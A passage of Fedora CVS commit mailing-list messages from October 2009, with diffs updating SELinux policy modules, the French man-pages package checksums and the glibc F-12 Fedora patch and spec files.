  ')
  
  # allow accessing files/dirs below the users home dir
-@@ -762,3 +995,74 @@
+@@ -762,3 +996,74 @@
  	userdom_search_user_home_dirs(httpd_suexec_t)
  	userdom_search_user_home_dirs(httpd_user_script_t)
  ')
@@ -11409,7 +11408,7 @@ diff -b -B --ignore-all-space --exclude-
 +
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/consolekit.te serefpolicy-3.6.32/policy/modules/services/consolekit.te
 --- nsaserefpolicy/policy/modules/services/consolekit.te	2009-08-14 16:14:31.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/consolekit.te	2009-10-06 10:15:04.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/consolekit.te	2009-10-11 07:54:38.000000000 -0400
 @@ -62,12 +62,15 @@
  
  init_telinit(consolekit_t)
@@ -11448,7 +11447,7 @@ diff -b -B --ignore-all-space --exclude-
  	policykit_domtrans_auth(consolekit_t)
  	policykit_read_lib(consolekit_t)
  	policykit_read_reload(consolekit_t)
-@@ -108,10 +115,19 @@
+@@ -108,10 +115,20 @@
  optional_policy(`
  	xserver_read_xdm_pid(consolekit_t)
  	xserver_read_user_xauth(consolekit_t)
@@ -11460,6 +11459,7 @@ diff -b -B --ignore-all-space --exclude-
  
  optional_policy(`
 +	udev_domtrans(consolekit_t)
++	udev_read_db(consolekit_t)
 +')
 +
 +optional_policy(`
@@ -13211,7 +13211,7 @@ diff -b -B --ignore-all-space --exclude-
  /var/lib/cache/hald(/.*)?			gen_context(system_u:object_r:hald_cache_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/hal.if serefpolicy-3.6.32/policy/modules/services/hal.if
 --- nsaserefpolicy/policy/modules/services/hal.if	2009-07-28 13:28:33.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/services/hal.if	2009-10-07 14:43:47.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/services/hal.if	2009-10-11 07:59:31.000000000 -0400
 @@ -413,3 +413,21 @@
  	files_search_pids($1)
  	manage_files_pattern($1, hald_var_run_t, hald_var_run_t)
@@ -15409,8 +15409,8 @@ diff -b -B --ignore-all-space --exclude-
 +')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/plymouth.te serefpolicy-3.6.32/policy/modules/services/plymouth.te
 --- nsaserefpolicy/policy/modules/services/plymouth.te	1969-12-31 19:00:00.000000000 -0500
-+++ serefpolicy-3.6.32/policy/modules/services/plymouth.te	2009-09-30 16:12:48.000000000 -0400
-@@ -0,0 +1,86 @@
++++ serefpolicy-3.6.32/policy/modules/services/plymouth.te	2009-10-11 08:00:20.000000000 -0400
+@@ -0,0 +1,92 @@
 +policy_module(plymouthd, 1.0.0)
 +
 +########################################
@@ -15497,6 +15497,12 @@ diff -b -B --ignore-all-space --exclude-
 +miscfiles_read_localization(plymouth_t)
 +
 +plymouth_stream_connect(plymouth_t)
++
++ifdef(`hide_broken_symptoms', `
++optional_policy(`
++	hal_dontaudit_write_log(plymouth_t)
++')
++')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/policykit.fc serefpolicy-3.6.32/policy/modules/services/policykit.fc
 --- nsaserefpolicy/policy/modules/services/policykit.fc	2009-08-18 11:41:14.000000000 -0400
 +++ serefpolicy-3.6.32/policy/modules/services/policykit.fc	2009-09-30 16:12:48.000000000 -0400
@@ -26923,7 +26929,7 @@ diff -b -B --ignore-all-space --exclude-
  /sbin/udev	--	gen_context(system_u:object_r:udev_exec_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/udev.if serefpolicy-3.6.32/policy/modules/system/udev.if
 --- nsaserefpolicy/policy/modules/system/udev.if	2009-07-14 14:19:57.000000000 -0400
-+++ serefpolicy-3.6.32/policy/modules/system/udev.if	2009-09-30 16:12:48.000000000 -0400
++++ serefpolicy-3.6.32/policy/modules/system/udev.if	2009-10-11 07:54:27.000000000 -0400
 @@ -168,4 +168,25 @@
  
  	dev_list_all_dev_nodes($1)


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/selinux-policy.spec,v
retrieving revision 1.941
retrieving revision 1.942
diff -u -p -r1.941 -r1.942
--- selinux-policy.spec	9 Oct 2009 16:03:29 -0000	1.941
+++ selinux-policy.spec	12 Oct 2009 13:39:10 -0000	1.942
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.32
-Release: 24%{?dist}
+Release: 25%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -449,6 +449,11 @@ exit 0
 %endif
 
 %changelog
+* Mon Oct 12 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-25
+- Fix alias for execmem_exec_t
+- Dontaudit hal leakage
+- Add label for nspluginviewer
+
 * Fri Oct 10 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-24
 - Add home_cert_t for labeling of certs in the homedir
 



From mmaslano at fedoraproject.org  Mon Oct 12 13:48:14 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Mon, 12 Oct 2009 13:48:14 +0000 (UTC)
Subject: rpms/man-pages-fr/devel man-pages-fr.spec, 1.48, 1.49 sources, 1.17,
	1.18
Message-ID: <20091012134814.15CFB11C00DB@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/man-pages-fr/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19994

Modified Files:
	man-pages-fr.spec sources 
Log Message:
* Mon Oct 12 2009 Marcela Maslanova <mmaslano at redhat.com> 3.03.0-5
- upload correct source. Source1 didn't match with upstream tarball.



Index: man-pages-fr.spec
===================================================================
RCS file: /cvs/pkgs/rpms/man-pages-fr/devel/man-pages-fr.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- man-pages-fr.spec	25 Jul 2009 11:43:39 -0000	1.48
+++ man-pages-fr.spec	12 Oct 2009 13:48:13 -0000	1.49
@@ -4,7 +4,7 @@
 Summary:	French version of the Linux man-pages
 Name:		man-pages-fr
 Version:	3.03.0
-Release:	4%{?dist}
+Release:	5%{?dist}
 License:	GPL+
 Group:		Documentation
 URL:		http://manpagesfr.free.fr/
@@ -82,6 +82,9 @@ rm -fr $RPM_BUILD_ROOT
 %{_mandir}/fr/
 
 %changelog
+* Mon Oct 12 2009 Marcela Maslanova <mmaslano at redhat.com> 3.03.0-5
+- upload correct source. Source1 didn't match with upstream tarball.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.03.0-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/man-pages-fr/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	14 Oct 2008 15:49:00 -0000	1.17
+++ sources	12 Oct 2009 13:48:13 -0000	1.18
@@ -1,3 +1,3 @@
 64046b022c7c8d559d78dd05f953261b  man-pages-fr-3.03.0.tar.bz2
 94b3c7d6a13f6492417d25d3dc92b016  man-pages-extras-fr-0.8.1.tar.bz2
-55e047ee3f34c2d96b7e69a2bbdd67f0  mansupfr.tar.bz2
+c916955f838860334bb9c629e4af19b0  mansupfr.tar.bz2



From schwab at fedoraproject.org  Mon Oct 12 13:49:38 2009
From: schwab at fedoraproject.org (schwab)
Date: Mon, 12 Oct 2009 13:49:38 +0000 (UTC)
Subject: rpms/glibc/F-12 .cvsignore, 1.291, 1.292 glibc-fedora.patch, 1.325, 
	1.326 glibc.spec, 1.418, 1.419 import.log, 1.34, 1.35 sources,
	1.316, 1.317
Message-ID: <20091012134938.968F211C00DB@cvs1.fedora.phx.redhat.com>

Author: schwab

Update of /cvs/pkgs/rpms/glibc/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20238/F-12

Modified Files:
	.cvsignore glibc-fedora.patch glibc.spec import.log sources 
Log Message:
2.10.90-25



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/.cvsignore,v
retrieving revision 1.291
retrieving revision 1.292
diff -u -p -r1.291 -r1.292
--- .cvsignore	28 Sep 2009 12:31:32 -0000	1.291
+++ .cvsignore	12 Oct 2009 13:49:37 -0000	1.292
@@ -1,2 +1,2 @@
-glibc-2.10-343-gf450806-fedora.tar.bz2
-glibc-2.10-343-gf450806.tar.bz2
+glibc-2.10-355-g1abedcd-fedora.tar.bz2
+glibc-2.10-355-g1abedcd.tar.bz2

glibc-fedora.patch:
 ChangeLog                                      |   34 +-
 ChangeLog.15                                   |   37 ++
 ChangeLog.16                                   |   25 +
 Makeconfig                                     |    6 
 csu/Makefile                                   |    3 
 csu/elf-init.c                                 |   17 +
 debug/tst-chk1.c                               |    7 
 elf/ldconfig.c                                 |   25 +
 elf/tst-stackguard1.c                          |    8 
 include/bits/stdlib-ldbl.h                     |    1 
 include/bits/wchar-ldbl.h                      |    1 
 include/features.h                             |    9 
 intl/locale.alias                              |    2 
 libio/stdio.h                                  |    2 
 locale/iso-4217.def                            |   13 
 locale/programs/locarchive.c                   |   10 
 localedata/Makefile                            |    1 
 localedata/SUPPORTED                           |    6 
 localedata/locales/cy_GB                       |    7 
 localedata/locales/en_GB                       |    4 
 localedata/locales/no_NO                       |   69 ++++
 localedata/locales/zh_TW                       |    6 
 malloc/mcheck.c                                |   30 +-
 manual/libc.texinfo                            |    2 
 misc/sys/cdefs.h                               |   20 +
 nis/nss                                        |    2 
 nptl/ChangeLog                                 |   19 +
 nptl/Makefile                                  |   11 
 nptl/sysdeps/unix/sysv/linux/bits/posix_opt.h  |    3 
 nptl/sysdeps/unix/sysv/linux/kernel-features.h |    6 
 nptl/tst-stackguard1.c                         |    8 
 nscd/nscd.conf                                 |    2 
 nscd/nscd.init                                 |   32 --
 posix/Makefile                                 |   15 -
 posix/getconf.speclist.h                       |   39 ++
 streams/Makefile                               |    2 
 sysdeps/generic/dl-cache.h                     |    8 
 sysdeps/i386/Makefile                          |   10 
 sysdeps/ia64/Makefile                          |    4 
 sysdeps/ia64/ia64libgcc.S                      |  350 -------------------------
 sysdeps/ia64/libgcc-compat.c                   |   84 ++++++
 sysdeps/powerpc/powerpc64/Makefile             |    1 
 sysdeps/unix/nice.c                            |    7 
 sysdeps/unix/sysv/linux/check_pf.c             |    5 
 sysdeps/unix/sysv/linux/dl-osinfo.h            |   29 ++
 sysdeps/unix/sysv/linux/futimesat.c            |   23 -
 sysdeps/unix/sysv/linux/i386/bits/fcntl.h      |    6 
 sysdeps/unix/sysv/linux/i386/clone.S           |    4 
 sysdeps/unix/sysv/linux/i386/dl-cache.h        |   59 ++++
 sysdeps/unix/sysv/linux/ia64/bits/fcntl.h      |    6 
 sysdeps/unix/sysv/linux/ia64/dl-cache.h        |   27 +
 sysdeps/unix/sysv/linux/ia64/dl-procinfo.c     |    5 
 sysdeps/unix/sysv/linux/ia64/dl-procinfo.h     |    5 
 sysdeps/unix/sysv/linux/ia64/ldd-rewrite.sed   |    2 
 sysdeps/unix/sysv/linux/netlinkaccess.h        |   18 +
 sysdeps/unix/sysv/linux/paths.h                |    2 
 sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h   |    6 
 sysdeps/unix/sysv/linux/s390/bits/fcntl.h      |    6 
 sysdeps/unix/sysv/linux/sh/bits/fcntl.h        |    6 
 sysdeps/unix/sysv/linux/sparc/bits/fcntl.h     |    6 
 sysdeps/unix/sysv/linux/tcsetattr.c            |   32 ++
 sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h    |    6 
 sysdeps/unix/sysv/linux/x86_64/clone.S         |    4 
 timezone/zic.c                                 |    2 
 64 files changed, 699 insertions(+), 508 deletions(-)

Index: glibc-fedora.patch
===================================================================
RCS file: /cvs/pkgs/rpms/glibc/F-12/glibc-fedora.patch,v
retrieving revision 1.325
retrieving revision 1.326
diff -u -p -r1.325 -r1.326
--- glibc-fedora.patch	28 Sep 2009 12:31:32 -0000	1.325
+++ glibc-fedora.patch	12 Oct 2009 13:49:37 -0000	1.326
@@ -1,6 +1,24 @@
---- glibc-2.10-343-gf450806/ChangeLog
-+++ glibc-2.10.90-23/ChangeLog
-@@ -639,6 +639,11 @@
+--- glibc-2.10-355-g1abedcd/ChangeLog
++++ glibc-2.10.90-24/ChangeLog
+@@ -34,17 +34,6 @@
+ 	* locale/C-time.c: Revert week-1stday back to 19971130 and set
+ 	first_weekday to 1 and first_workday to 2.
+ 
+-2009-10-01  Ulrich Drepper  <drepper at redhat.com>
+-
+-	* sysdeps/unix/sysv/linux/sh/bits/fcntl.h: Define F_SETOWN_EX and
+-	F_GETOWN_EX.
+-	* sysdeps/unix/sysv/linux/powerpc/bits/fcntl.h: Likewise.
+-	* sysdeps/unix/sysv/linux/x86_64/bits/fcntl.h: Likewise.
+-	* sysdeps/unix/sysv/linux/sparc/bits/fcntl.h: Likewise.
+-	* sysdeps/unix/sysv/linux/ia64/bits/fcntl.h: Likewise.
+-	* sysdeps/unix/sysv/linux/i386/bits/fcntl.h: Likewise.
+-	* sysdeps/unix/sysv/linux/s390/bits/fcntl.h: Likewise.
+-
+ 2009-09-28  Andreas Schwab  <schwab at redhat.com>
+ 
+ 	* stdio-common/printf_fp.c: Check for and avoid integer overflows.
+@@ -702,6 +691,11 @@
  	* sysdeps/generic/ldsodefs.h (struct rtld_global): The map element in
  	the unique symbol hash table should not be const.
  
@@ -12,7 +30,7 @@
  2009-07-21  Ulrich Drepper  <drepper at redhat.com>
  
  	* sysdeps/x86_64/multiarch/strstr.c: Minor cleanups.  Remove
-@@ -904,6 +909,11 @@
+@@ -967,6 +961,11 @@
  	out common code into new function get_common_indeces. Determine
  	extended family and model for Intel processors.
  
@@ -24,21 +42,7 @@
  2009-06-26  Ulrich Drepper  <drepper at redhat.com>
  
  	* resolv/resolv.h: Define RES_SNGLKUPREOP.
-@@ -9302,6 +9312,13 @@
- 	* include/sys/cdefs.h: Redefine __nonnull so that test for
- 	incorrect parameters in the libc code itself are not omitted.
- 
-+2006-07-02  Jakub Jelinek  <jakub at redhat.com>
-+
-+	* nscd/connections.c (sighup_pending): New variable.
-+	(nscd_run): If sighup_pending, prune all 3 caches.
-+	(sighup_handler): Don't prune caches here, rather just set
-+	sighup_pending flag.
-+
- 2007-05-09  Jakub Jelinek  <jakub at redhat.com>
- 
- 	* sysdeps/ia64/fpu/fraiseexcpt.c (feraiseexcept): Don't raise overflow
-@@ -9597,6 +9614,10 @@
+@@ -9660,6 +9659,10 @@
  	[BZ #4368]
  	* stdlib/stdlib.h: Remove obsolete part of comment for realpath.
  
@@ -49,7 +53,7 @@
  2007-04-16  Ulrich Drepper  <drepper at redhat.com>
  
  	[BZ #4364]
-@@ -10854,6 +10875,15 @@
+@@ -10917,6 +10920,15 @@
  	separators also if no non-zero digits found.
  	* stdlib/Makefile (tests): Add tst-strtod3.
  
@@ -65,8 +69,8 @@
  2006-12-09  Ulrich Drepper  <drepper at redhat.com>
  
  	[BZ #3632]
---- glibc-2.10-343-gf450806/ChangeLog.15
-+++ glibc-2.10.90-23/ChangeLog.15
+--- glibc-2.10-355-g1abedcd/ChangeLog.15
++++ glibc-2.10.90-24/ChangeLog.15
 @@ -477,6 +477,14 @@
  
  2004-11-26  Jakub Jelinek  <jakub at redhat.com>
@@ -132,68 +136,19 @@
  2004-08-30  Roland McGrath  <roland at frob.com>
  
  	* scripts/extract-abilist.awk: If `lastversion' variable defined, omit
---- glibc-2.10-343-gf450806/ChangeLog.16
-+++ glibc-2.10.90-23/ChangeLog.16
-@@ -171,6 +171,11 @@
- 	[BZ #2611]
- 	* stdio-common/renameat.c (renameat): Fix typo.
- 
-+2006-04-27  Jakub Jelinek  <jakub at redhat.com>
-+
-+	* nscd/connections.c (sighup_handler): Only run prune_cache on
-+	enabled databases.
-+
- 2006-04-26  Roland McGrath  <roland at redhat.com>
- 
- 	* Makeconfig (%.v.i rule): Don't use -DASSEMBLER.
-@@ -1030,6 +1035,34 @@
- 	_SC_CPUTIME and _SC_THREAD_CPUTIME here.
- 	* sysdeps/unix/sysv/linux/x86_64/sysconf.c (__sysconf): Likewise.
- 
-+2006-03-04  Jakub Jelinek  <jakub at redhat.com>
-+	    Roland McGrath  <roland at redhat.com>
-+
-+	* sysdeps/unix/sysv/linux/i386/lowlevellock.h
-+	(LLL_STUB_UNWIND_INFO_START, LLL_STUB_UNWIND_INFO_END,
-+	LLL_STUB_UNWIND_INFO_3, LLL_STUB_UNWIND_INFO_4): Define.
-+	(lll_mutex_lock, lll_robust_mutex_lock, lll_mutex_cond_lock,
-+	lll_robust_mutex_cond_lock, lll_mutex_timedlock,
-+	lll_robust_mutex_timedlock, lll_mutex_unlock,
-+	lll_robust_mutex_unlock, lll_lock, lll_unlock): Use them.
-+	Add _L_*_ symbols around the subsection.
-+	* sysdeps/unix/sysv/linux/i386/i486/lowlevellock.S: Add unwind info.
-+	* sysdeps/unix/sysv/linux/i386/i486/lowlevelrobustlock.S: Likewise.
-+
-+2006-03-03  Jakub Jelinek  <jakub at redhat.com>
-+	    Roland McGrath  <roland at redhat.com>
-+
-+	* sysdeps/unix/sysv/linux/x86_64/lowlevellock.h
-+	(LLL_STUB_UNWIND_INFO_START, LLL_STUB_UNWIND_INFO_END,
-+	LLL_STUB_UNWIND_INFO_5, LLL_STUB_UNWIND_INFO_6): Define.
-+	(lll_mutex_lock, lll_robust_mutex_lock, lll_mutex_cond_lock,
-+	lll_robust_mutex_cond_lock, lll_mutex_timedlock,
-+	lll_robust_mutex_timedlock, lll_mutex_unlock,
-+	lll_robust_mutex_unlock, lll_lock, lll_unlock): Use them.
-+	Add _L_*_ symbols around the subsection.
-+	* sysdeps/unix/sysv/linux/x86_64/lowlevellock.S: Add unwind info.
-+	* sysdeps/unix/sysv/linux/x86_64/lowlevelrobustlock.S: Likewise.
-+
- 2006-03-05  Roland McGrath  <roland at redhat.com>
- 
- 	* malloc/malloc.c (MALLOC_ALIGNMENT): Revert to (2 * SIZE_SZ) value.
-@@ -2042,6 +2075,11 @@
+--- glibc-2.10-355-g1abedcd/ChangeLog.16
++++ glibc-2.10.90-24/ChangeLog.16
+@@ -2042,6 +2042,9 @@
  	(__MATHDECL_2): Use __REDIRECT_NTH instead of __REDIRECT
  	followed by __THROW.
  
 +	* sysdeps/unix/sysv/linux/futimesat.c (futimesat): If
 +	file == NULL, use __futimes unconditionally.
 +
-+	* manual/filesys.texi (futimes): Fix prototype.
-+
  2006-02-02  Ulrich Drepper  <drepper at redhat.com>
  
  	* sysdeps/unix/sysv/linux/futimesat.c [__NR_futimesat]
-@@ -2101,6 +2139,11 @@
+@@ -2101,6 +2104,11 @@
  	* sysdeps/ieee754/ldbl-128/s_llrintl.c (__llrintl): Fix a typo.
  	* sysdeps/s390/fpu/libm-test-ulps: Remove llrint ulps.
  
@@ -205,57 +160,7 @@
  2006-01-19  Thomas Schwinge  <tschwinge at gnu.org>
  
  	* libio/genops.c: Include <stdbool.h>.
-@@ -4527,6 +4570,10 @@
- 
- 	* elf/order2mod2.c (init): Cast ignored value to void.
- 
-+2005-12-27  Jakub Jelinek  <jakub at redhat.com>
-+
-+	* elf/ldconfig.c (search_dir): Skip prelink temporaries.
-+
- 2005-12-27  Ulrich Drepper  <drepper at redhat.com>
- 
- 	* elf/tst-tls13.c (do_test): Avoid using the library path when
-@@ -4810,6 +4857,26 @@
- 	* sysdeps/unix/sysv/linux/time.c: If __NR_time is not defined,
- 	use sysdeps/unix/time.c implementation.
- 
-+2005-12-20  Jakub Jelinek  <jakub at redhat.com>
-+
-+	* malloc/mtrace.c (__libc_malloc, __libc_free, __libc_realloc,
-+	__libc_memalign): Add prototypes and libc_hidden_proto resp.
-+	defines for !_LIBC.
-+	(tr_freehook): Call __libc_free instead of free.
-+	(tr_mallochook): Call __libc_malloc instead of malloc.
-+	(tr_reallochook): Call __libc_realloc instead of realloc.
-+	(tr_memalignhook): Call __libc_memalign instead of memalign.
-+	* malloc/mcheck.c: Include stdlib.h.
-+	(__libc_malloc, __libc_free, __libc_realloc,
-+	__libc_memalign): Add prototypes and libc_hidden_proto resp.
-+	defines for !_LIBC.
-+	(freehook): Call __libc_free instead of free.
-+	(mallochook): Call __libc_malloc instead of malloc.
-+	(reallochook): Call __libc_realloc instead of realloc.
-+	(memalignhook): Call __libc_memalign instead of memalign.
-+	(mcheck): Call __libc_malloc and __libc_free instead of
-+	malloc and free.
-+
- 2005-12-19  Ulrich Drepper  <drepper at redhat.com>
- 
- 	[BZ #1955]
-@@ -7928,6 +7995,11 @@
- 	R_ARM_TLS_TPOFF32, R_ARM_TLS_GD32, R_ARM_TLS_LDM32,
- 	R_ARM_TLS_LDO32, R_ARM_TLS_IE32, R_ARM_TLS_LE32): New macros.
- 
-+2005-10-03  Jakub Jelinek  <jakub at redhat.com>
-+
-+	* nscd/selinux.c (audit_init): Print error string in the failure
-+	message.
-+
- 2005-10-03  Roland McGrath  <roland at redhat.com>
- 
- 	* sysdeps/powerpc/nofpu: Directory removed, saved in ports repository.
-@@ -8922,6 +8994,12 @@
+@@ -8922,6 +8930,12 @@
  	* argp/argp-help.c (__argp_error): __asprintf -> vasprintf.
  	(__argp_failure): Likewise.
  
@@ -268,7 +173,7 @@
  2005-08-08  Ulrich Drepper  <drepper at redhat.com>
  
  	* nscd/cache.c (cache_add): Commit hash table and header to disk.
-@@ -9046,6 +9124,17 @@
+@@ -9046,6 +9060,17 @@
  	__syslog_chk.
  	* misc/Versions: Export __syslog_chk and __vsyslog_chk.
  
@@ -286,27 +191,8 @@
  2005-07-28  Thomas Schwinge  <schwinge at nic-nac-project.de>
  
  	[BZ #1137]
-@@ -12106,6 +12195,18 @@
- 
- 	* scripts/soversions.awk: Fix default version set handling.
- 
-+2005-02-09  Jakub Jelinek  <jakub at redhat.com>
-+
-+	* sysdeps/unix/sysv/linux/bits/termios.h (CMSPAR): Define.
-+	* sysdeps/unix/sysv/linux/alpha/bits/termios.h: Add __USE_MISC
-+	and __USE_XOPEN guards to match linux/bits/termios.h.
-+	(CMSPAR): Define.
-+	* sysdeps/unix/sysv/linux/powerpc/bits/termios.h: Add __USE_MISC
-+	and __USE_XOPEN guards to match linux/bits/termios.h.
-+	(CMSPAR): Define.
-+	* sysdeps/unix/sysv/linux/sparc/bits/termios.h: Add __USE_MISC
-+	and __USE_XOPEN guards to match linux/bits/termios.h.
-+
- 2005-02-10  Roland McGrath  <roland at redhat.com>
- 
- 	[BZ #157]
---- glibc-2.10-343-gf450806/Makeconfig
-+++ glibc-2.10.90-23/Makeconfig
+--- glibc-2.10-355-g1abedcd/Makeconfig
++++ glibc-2.10.90-24/Makeconfig
 @@ -780,12 +780,12 @@ endif
  # The assembler can generate debug information too.
  ifndef ASFLAGS
@@ -323,8 +209,8 @@
  
  ifndef BUILD_CC
  BUILD_CC = $(CC)
---- glibc-2.10-343-gf450806/csu/Makefile
-+++ glibc-2.10.90-23/csu/Makefile
+--- glibc-2.10-355-g1abedcd/csu/Makefile
++++ glibc-2.10.90-24/csu/Makefile
 @@ -93,7 +93,8 @@ omit-deps += $(crtstuff)
  $(crtstuff:%=$(objpfx)%.o): %.o: %.S $(objpfx)defs.h
  	$(compile.S) -g0 $(ASFLAGS-.os) -o $@
@@ -335,8 +221,8 @@
  
  vpath initfini.c $(sysdirs)
  
---- glibc-2.10-343-gf450806/csu/elf-init.c
-+++ glibc-2.10.90-23/csu/elf-init.c
+--- glibc-2.10-355-g1abedcd/csu/elf-init.c
++++ glibc-2.10.90-24/csu/elf-init.c
 @@ -63,6 +63,23 @@ extern void (*__init_array_end []) (int, char **, char **)
  extern void (*__fini_array_start []) (void) attribute_hidden;
  extern void (*__fini_array_end []) (void) attribute_hidden;
@@ -361,8 +247,8 @@
  
  /* These function symbols are provided for the .init/.fini section entry
     points automagically by the linker.  */
---- glibc-2.10-343-gf450806/debug/tst-chk1.c
-+++ glibc-2.10.90-23/debug/tst-chk1.c
+--- glibc-2.10-355-g1abedcd/debug/tst-chk1.c
++++ glibc-2.10.90-24/debug/tst-chk1.c
 @@ -17,6 +17,9 @@
     Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
     02111-1307 USA.  */
@@ -391,8 +277,8 @@
  #  define O 0
  # else
  #  define O 1
---- glibc-2.10-343-gf450806/elf/ldconfig.c
-+++ glibc-2.10.90-23/elf/ldconfig.c
+--- glibc-2.10-355-g1abedcd/elf/ldconfig.c
++++ glibc-2.10.90-24/elf/ldconfig.c
 @@ -1020,17 +1020,19 @@ search_dirs (void)
  
  
@@ -474,8 +360,8 @@
      }
  
    if (! opt_ignore_aux_cache)
---- glibc-2.10-343-gf450806/elf/tst-stackguard1.c
-+++ glibc-2.10.90-23/elf/tst-stackguard1.c
+--- glibc-2.10-355-g1abedcd/elf/tst-stackguard1.c
++++ glibc-2.10.90-24/elf/tst-stackguard1.c
 @@ -160,17 +160,21 @@ do_test (void)
       the 16 runs, something is very wrong.  */
    int ndifferences = 0;
@@ -500,16 +386,16 @@
      {
        puts ("stack guard canaries are not randomized enough");
        puts ("nor equal to the default canary value");
---- glibc-2.10-343-gf450806/include/bits/stdlib-ldbl.h
-+++ glibc-2.10.90-23/include/bits/stdlib-ldbl.h
+--- glibc-2.10-355-g1abedcd/include/bits/stdlib-ldbl.h
++++ glibc-2.10.90-24/include/bits/stdlib-ldbl.h
 @@ -0,0 +1 @@
 +#include <stdlib/bits/stdlib-ldbl.h>
---- glibc-2.10-343-gf450806/include/bits/wchar-ldbl.h
-+++ glibc-2.10.90-23/include/bits/wchar-ldbl.h
+--- glibc-2.10-355-g1abedcd/include/bits/wchar-ldbl.h
++++ glibc-2.10.90-24/include/bits/wchar-ldbl.h
 @@ -0,0 +1 @@
 +#include <wcsmbs/bits/wchar-ldbl.h>
---- glibc-2.10-343-gf450806/include/features.h
-+++ glibc-2.10.90-23/include/features.h
+--- glibc-2.10-355-g1abedcd/include/features.h
++++ glibc-2.10.90-24/include/features.h
 @@ -299,8 +299,13 @@
  #endif
  
@@ -526,8 +412,8 @@
  #  define __USE_FORTIFY_LEVEL 2
  # else
  #  define __USE_FORTIFY_LEVEL 1
---- glibc-2.10-343-gf450806/intl/locale.alias
-+++ glibc-2.10.90-23/intl/locale.alias
+--- glibc-2.10-355-g1abedcd/intl/locale.alias
++++ glibc-2.10.90-24/intl/locale.alias
 @@ -57,8 +57,6 @@ korean		ko_KR.eucKR
  korean.euc 	ko_KR.eucKR
  ko_KR		ko_KR.eucKR
@@ -537,8 +423,8 @@
  norwegian       nb_NO.ISO-8859-1
  nynorsk		nn_NO.ISO-8859-1
  polish          pl_PL.ISO-8859-2
---- glibc-2.10-343-gf450806/libio/stdio.h
-+++ glibc-2.10.90-23/libio/stdio.h
+--- glibc-2.10-355-g1abedcd/libio/stdio.h
++++ glibc-2.10.90-24/libio/stdio.h
 @@ -145,10 +145,12 @@ typedef _G_fpos64_t fpos64_t;
  extern struct _IO_FILE *stdin;		/* Standard input stream.  */
  extern struct _IO_FILE *stdout;		/* Standard output stream.  */
@@ -552,8 +438,8 @@
  
  __BEGIN_NAMESPACE_STD
  /* Remove file FILENAME.  */
---- glibc-2.10-343-gf450806/locale/iso-4217.def
-+++ glibc-2.10.90-23/locale/iso-4217.def
+--- glibc-2.10-355-g1abedcd/locale/iso-4217.def
++++ glibc-2.10.90-24/locale/iso-4217.def
 @@ -8,6 +8,7 @@
   *
   * !!! The list has to be sorted !!!
@@ -645,8 +531,8 @@
  DEFINE_INT_CURR("PYG")		/* Paraguay Guarani  */
  DEFINE_INT_CURR("QAR")		/* Qatar Rial  */
  DEFINE_INT_CURR("ROL")		/* Romanian Leu  */
---- glibc-2.10-343-gf450806/locale/programs/locarchive.c
-+++ glibc-2.10.90-23/locale/programs/locarchive.c
+--- glibc-2.10-355-g1abedcd/locale/programs/locarchive.c
++++ glibc-2.10.90-24/locale/programs/locarchive.c
 @@ -241,9 +241,9 @@ oldlocrecentcmp (const void *a, const void *b)
  /* forward decls for below */
  static uint32_t add_locale (struct locarhandle *ah, const char *name,
@@ -678,8 +564,8 @@
  add_alias (struct locarhandle *ah, const char *alias, bool replace,
  	   const char *oldname, uint32_t *locrec_offset_p)
  {
---- glibc-2.10-343-gf450806/localedata/Makefile
-+++ glibc-2.10.90-23/localedata/Makefile
+--- glibc-2.10-355-g1abedcd/localedata/Makefile
++++ glibc-2.10.90-24/localedata/Makefile
 @@ -225,6 +225,7 @@ $(INSTALL-SUPPORTED-LOCALES): install-locales-dir
  	echo -n '...'; \
  	input=`echo $$locale | sed 's/\([^.]*\)[^@]*\(.*\)/\1\2/'`; \
@@ -688,8 +574,8 @@
  		     -i locales/$$input -c -f charmaps/$$charset \
  		     $(addprefix --prefix=,$(install_root)) $$locale; \
  	echo ' done'; \
---- glibc-2.10-343-gf450806/localedata/SUPPORTED
-+++ glibc-2.10.90-23/localedata/SUPPORTED
+--- glibc-2.10-355-g1abedcd/localedata/SUPPORTED
++++ glibc-2.10.90-24/localedata/SUPPORTED
 @@ -84,6 +84,7 @@ cy_GB.UTF-8/UTF-8 \
  cy_GB/ISO-8859-14 \
  da_DK.UTF-8/UTF-8 \
@@ -731,8 +617,8 @@
  ta_IN/UTF-8 \
  te_IN/UTF-8 \
  tg_TJ.UTF-8/UTF-8 \
---- glibc-2.10-343-gf450806/localedata/locales/cy_GB
-+++ glibc-2.10.90-23/localedata/locales/cy_GB
